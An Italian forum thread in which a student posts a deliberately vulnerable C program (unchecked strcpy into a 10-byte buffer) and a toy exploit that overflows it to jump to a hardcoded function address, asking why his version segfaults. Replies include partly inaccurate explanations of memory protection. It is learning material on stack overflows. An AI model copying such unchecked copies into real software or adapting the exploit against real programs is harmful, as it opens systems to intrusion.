Oppure

Loading
20/05/11 0:02
ElCobra91
Ciao a tutti,per studio stavo cercando di capire come si comporta il computer durante un exploit.su internet ho trovato la guida semplice di che spiega brevemente stack overflow .Volendomi addentrare di più nel concetto ho provato a seguire gli esempi.In pratica da una parte ho questo codice
prog1.c
function (){
printf("Ci sei riuscito!!!!");
exit(0);
}
main (int argc, char *argv[]) {
char var[10];
strcpy(var,argv[1]);
}


e poi questo semplice codice che dovrebbe chiarirmi le idee dell'exploit
esempioexploit.c
int main (void)
{
char buf[31],lancia[35];
int i;
for (i=0; i<28; i++)
{
*(long *)&buf[i]=0x61;
}
*(long *)&buf[28]=0x00401294;
strcpy(lancia,"prog1 ");
strcat(lancia,buf);
system(lancia);
}

da quanto capito in pratica sfruttando l'overflow del primo posso far eseguire la funzione function.
e quindi da terminale digitando ./esempioexploit dovrebbe stampare "Ci sei riuscito".
Naturalmente chi ha scritto la guida ha specificato che con un buffer di 28 byte andava in overflow e tramite l'operazione di debugging ha disassemblato la function e letto quindi il suo indirizzo di memoria che è appunto 0x00401294. Ora io facendo un po di tentativi eseguendo prog1 da linea di comando e passando come argomento 196 volte la lettera A mi dice errore di segmentazione quindi suppongo che questa sarà la lunghezza del buffer che io devo usare.Quindo disassemblo la function copio l'indirizzo di memoria..in pratica al codice originale sostituisco i mie dati ma non mi torna nulla,cioè mi da segmentation fault.vi posto il mio codice
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main (void)
{
char buf[199],lancia[205];
int i;
for (i=0; i<196; i++)
{
*(long *)&buf[i]=0x61;

}

  *(long *)&buf[195]=0x08048474;
  
 
strcpy(lancia,"./prog1 ");
strcat(lancia,buf);
system(lancia);
return 0;
}

dove è che sbaglio?potete darmi delucidazioni per favore?grazie mille..
aaa
20/05/11 0:04
ElCobra91
cmq alla riga 15 il valore è...buf[196]..
aaa
20/05/11 5:35
Pitagora
Te lo spiego in parole povere. Tu programmatore non puoi gestire in un programma gli indirizzi di memoria. Questo compito viene assegnato ESPRESSAMENTE al computer. Ogni qual volta che si cerca di accere ad un indirizzo di memoria (diverso da quello dei puntatori assegnati, chiaramente) porterá un errore di segmentazione. Un altro esempio è il seguente:
int main ()
{
     int *addr = 0x2583813 // un indirizzo casuale
     return 0;
}

Come potrai intuire, il puntatore tenta di puntare ad un indirizzo da me asegnato. Questo porterá, come avrai intuito, ad un errore di segmentazione.
Ultima modifica effettuata da Pitagora 20/05/11 5:37
aaa
20/05/11 8:12
ElCobra91
Quindi come posso fare?nella guida lo spiega in quel modo..come mai a lui viene?
aaa
20/05/11 10:15
ElCobra91
È possibile che quello che ho scritto sia giusto ma per i controlli che esegue il sistema mi impepava di farlo?come posso avere il permesso di fare questa cosa?
aaa
20/05/11 11:11
Pitagora
Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose
aaa
20/05/11 11:44
HeDo
Postato originariamente da Pitagora:

Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose


ma questo non è vero!
aaa
20/05/11 11:49
Pitagora
Postato originariamente da HeDo:

Postato originariamente da Pitagora:

Suppondo che la guida sia vecchissima. Oggi, con le misure adottate su TUTTI i sustemi operativi non ti permettono di fare queste cose


ma questo non è vero!
Argomenta!
aaa